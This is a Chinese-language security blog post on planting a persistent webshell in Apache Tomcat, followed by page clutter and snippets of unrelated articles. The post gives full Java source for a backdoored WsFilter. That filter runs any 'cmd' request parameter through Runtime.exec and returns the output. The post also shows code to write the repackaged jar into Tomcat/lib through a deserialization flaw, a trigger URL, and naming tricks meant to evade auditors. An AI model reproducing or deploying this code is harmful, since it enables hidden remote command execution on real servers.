<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    從一個被Tomcat拒絕的漏洞到特殊內存馬

    VSole2021-11-28 19:07:40

    0x01 介紹

    今天研究內存馬相關的東西,偶然間發現一處解析BUG

    一句話來說就是:Tomcat啟動時會加載lib下的依賴jar,如果黑客通過上傳漏洞或者反序列化漏洞在這個目錄添加一個jar,重啟后,某些情況下這個jar會被當成正常庫來加載,在一定條件下造成RCE

    不一定算得上是漏洞,不過我還是向Tomcat發了郵件嘗試

    Tomcat果然拒絕了,原因是需要在其他漏洞的基礎上觸發

    這個漏洞其實在一些情況下會有巧妙的利用,本文就圍繞這個利用點來談

    0x02 思路

    思路來自于之前寫的一篇文章:某知名Java框架內存馬挖掘

    從中得到一種思路:將惡意代碼邏輯隱藏到目標框架必須的Filter中

    換句話來說,是否能將惡意代碼注入到Tomcat默認存在的Filter中呢

    使用c0ny1師傅的檢測工具發現,任何情況都會存在WsFilter

    能否構造出一個惡意的WsFilter類注入到依賴庫中

    0x03 構造

    在目標Tomcat/lib下找到tomcat-websocket.jar

    找到WsFilter的代碼,在doFilter中插入一些代碼

    我這里是簡單的回顯執行命令,也可以是一些其他邏輯

    package org.apache.tomcat.websocket.server;
    import java.io.IOException;
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    /**
     * Handles the initial HTTP connection for WebSocket connections.
     */
    public class WsFilter implements Filter {
        private WsServerContainer sc;
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            sc = (WsServerContainer) filterConfig.getServletContext().getAttribute(
                    Constants.SERVER_CONTAINER_SERVLET_CONTEXT_ATTRIBUTE);
        }
        @Override
        public void doFilter(ServletRequest request, ServletResponse response,
                             FilterChain chain) throws IOException, ServletException {
            // 不改變原有邏輯,在這里插入代碼
            String cmd = request.getParameter("cmd");
            if (cmd != null && !cmd.equals("")) {
                Process process = Runtime.getRuntime().exec(cmd);
                StringBuilder outStr = new StringBuilder();
                response.getWriter().print("
    ");
                java.io.InputStreamReader resultReader = new java.io.InputStreamReader(process.getInputStream());
                java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
                String s = null;
                while ((s = stdInput.readLine()) != null) {
                    outStr.append(s + "");
                }
                response.getWriter().print(outStr.toString());
                response.getWriter().print("
    ");
            }
            // This filter only needs to handle WebSocket upgrade requests
            if (!sc.areEndpointsRegistered() ||
                    !UpgradeUtil.isWebSocketUpgradeRequest(request, response)) {
                chain.doFilter(request, response);
                return;
            }
            // HTTP request with an upgrade header for WebSocket present
            HttpServletRequest req = (HttpServletRequest) request;
            HttpServletResponse resp = (HttpServletResponse) response;
            // Check to see if this WebSocket implementation has a matching mapping
            String path;
            String pathInfo = req.getPathInfo();
            if (pathInfo == null) {
                path = req.getServletPath();
            } else {
                path = req.getServletPath() + pathInfo;
            }
            WsMappingResult mappingResult = sc.findMapping(path);
            if (mappingResult == null) {
                // No endpoint registered for the requested path. Let the
                // application handle it (it might redirect or forward for example)
                chain.doFilter(request, response);
                return;
            }
            UpgradeUtil.doUpgrade(sc, req, resp, mappingResult.getConfig(),
                    mappingResult.getPathParams());
        }
        @Override
        public void destroy() {
            // NO-OP
        }
    }
    

    編譯WsFilter.java生成WsFilter.class字節碼文件

    然后使用手段把tomcat-websocket.jar里的WsFilter.class替換了

    (壓縮文件本身有替換功能,也可以使用工具重打包等)

    這時候啟動Tomcat發現一切正常,但已經存在了一個“永遠”的Webshell

    審計人員會想方設法審計項目代碼本身,或者使用工具檢查內存馬是否存在

    然而他們不會想到是Tomcat必須的WsFilter有問題

    0x04 核心

    以上邏輯看似合理,實際上有很大的問題:

    依賴庫在Tomcat運行的時候被占用不可修改,所以要停下Tomcat服務,然后才能替換依賴庫

    如果思路一直放在如何修改被占用的依賴庫,那么這個問題是無解的

    但我發現了一種巧妙的方法,來自于TomcatJar包的特殊加載順序

    (這里是Windows Tomcat 8的測試環境,其他環境不確定有這樣的順序)

    如果我在Tomcat/lib下復制一個tomcat-websocket.jar

    區別在于.jar之前加入一個空格:tomcat-websocket .jar

    這時候啟動Tomcat會發現tomcat-websocket .jar被加載了

    參考圖片中的路徑,其中包含%20

    有了突破思路

    0x05 利用

    假設目前有一個反序列化漏洞觸發點,我們首先要做的是給Tomcat/lib下添加惡意庫

    這個庫可以由黑客自行構造,然后轉成二進制數據傳過去

    try {
        // 從standardContext中得到的resource路徑是tomcat/lib
        WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase)
            Thread.currentThread().getContextClassLoader();
        StandardContext standardCtx = (StandardContext) webappClassLoaderBase.getResources().getContext();
        String path = standardCtx.getClass().getClassLoader().getResource("").toString();
        // 得到需要寫入的文件路徑tomcat/lib/tomcat-websocket .jar
        String finalPath = path.split("file:/")[1]+"tomcat-websocket .jar";
        // 為了測試方便直接讀了文件
        // 實戰中可以傳過來base64的二進制數據(文件不是很大只有200K左右)
        byte[] data = Files.readAllBytes(Paths.get("C:/JavaCode/Tomcat/tomcat-websocket .jar"));
        // 寫入目標路徑
        Files.write(Paths.get(finalPath),data);
    } catch (Exception e) {
        e.printStackTrace();
    }
    

    暫時是無法觸發的,不過如果程序添加新的功能或者特殊情況,一定會重啟

    (其實服務端的Tomcat重啟概率不算低,很多情況都會重啟)

    重啟后會加載惡意的tomcat-websocket .jar文件,這時候已經實現了頑固的內存馬

    攻擊方可以守株待兔時不時嘗試下/xxx.jsp?cmd=whoami看結果,一旦有結果說明有重啟,加載了惡意jar

    經過測試,發現.等情況也會導致這種問題,不過暫時沒有做深入的研究

    如下圖,防守方在審計時,看到FilterNameFilterClass都是Tomcat自帶的,FilterClassFile位于Tomcat/lib下的,是沒有什么問題的

    面多眾多的FilterServlet情況下,很難會想到是WsFilter出的問題

    后來測試發現了一種進一步隱藏的方式:

    黑客可以獲取路徑得到tomcat版本,比如我這里的8.5.72,分割路徑即可獲得字符串

    然后給新jar包命名位tomcat-websocket-8.5.72.jar

    相對于加個.或者空格,這種做法更為隱蔽

    代碼在:https://github.com/EmYiQing/MemShell/

    漏洞挖掘websocket
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    每個黑客都會遇到這個,第一個賞金。我實際上無法解釋它的感覺,但我知道你們中的大多數人都能理解它的感覺。當我們開始在 Web 應用程序安全中進行漏洞賞金時,我們大多數人都會從 XSS開始,故事從這里開始。
    Spring的英文翻譯為春天,可以說是給Java程序員帶來了春天,因為它極大的簡化了開發。
    Tomcat啟動時會加載lib下的依賴jar,如果黑客通過上傳漏洞或者反序列化漏洞在這個目錄添加一個jar,重啟后,某些情況下這個jar會被當成正常庫來加載,在一定條件下造成RCE
    Spring Framework、5.0.5 之前的 5.0.x 版本和 4.3.16 之前的 4.3.x 版本以及不支持的舊版本允許應用程序通過spring-messaging模塊通過簡單的內存 STOMP 代理通過 WebSocket 端點公開 STOMP 。惡意用戶(或攻擊者)可以向代理發送可能導致遠程代碼執行攻擊的消息。
    是一套用于對域名進行偵察的工具。該程序會檢查 SPF 和 DMARC 記錄中是否存在允許欺騙的弱配置。用于發現計算機網絡上的主機和服務,從而構建網絡的“地圖”。自動滲透測試偵察掃描儀。不受 API 限制,因為它使用 Selenium 檢測瀏覽器。輸出報告以幫助關聯跨站點的目標。是一個 python 腳本,它檢查電子郵件帳戶是否在數據泄露中受到損害,如果電子郵件帳戶受到損害,它會繼續查找受損害帳戶的密碼。LinkedIn 枚舉工具,通過搜索引擎抓取從組織中提取有效員工姓名。
    Botconf 2023 議題速遞
    2023-05-23 09:43:16
    在 1 月 12 日即被 360 Netlab 的蜜罐捕獲,1 月 20 日首次發現 DDoS 攻擊。4 月 24 日更新了版本 3,啟用 xxtea 加密配置信息,并且增加了反沙盒與反調試。6 月 5 日更新了版本 4,去掉了反沙盒與反調試并且啟動了 DDoS 勒索。C&C 面板11 月 9 日,通過 Telegram 匿名消息來源獲取了 Fodcha 的 C&C 源碼與訪問終端。持續跟蹤Fodcha 已經躋身 2022 年最活躍的新興 DDoS 家族:在跟蹤期間瘋狂發動 DDoS 攻擊,總計控制近四萬臺失陷主機針對全球的五萬多個目標進行攻擊,平均每天攻擊超過一千個目標。
    閑來無事,我上網隨便找了一個驅動來進行測試。
    0x01 確定目標無目標隨便打,有沒有自己對應的SRC應急響應平臺不說,還往往會因為一開始沒有挖掘漏洞而隨意放棄,這樣往往不能挖掘到深層次的漏洞。所以在真的想要花點時間在SRC漏洞挖掘上的話,建議先選好目標。0x02 確認測試范圍前面說到確定測什么SRC,那么下面就要通過一些方法,獲取這個SRC的測試范圍,以免測偏。
    漏洞挖掘工具—afrog
    2023-03-20 10:20:07
    -t http://example.com -o result.html2、掃描多個目標 afrog -T urls.txt -o result.html例如:urls.txthttp://example.comhttp://test.comhttp://github.com3、測試單個 PoC 文件 afrog?-t http://example.com -P ./testing/poc-test.yaml -o result.html4、測試多個 PoC 文件 afrog?
    但又沒登錄怎么獲取的當前用戶的Access-Reset-Ticket真相只有一個,看看接口哪里獲取到的原來是在輸入要找回的用戶就會獲取當前用戶的Access-Reset-Ticket6到了,開發是我大哥嘗試修改可行,修改管理員賬號,然后起飛下機。漏洞已修復,廠商也修復了漏洞更新到了最新版本。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类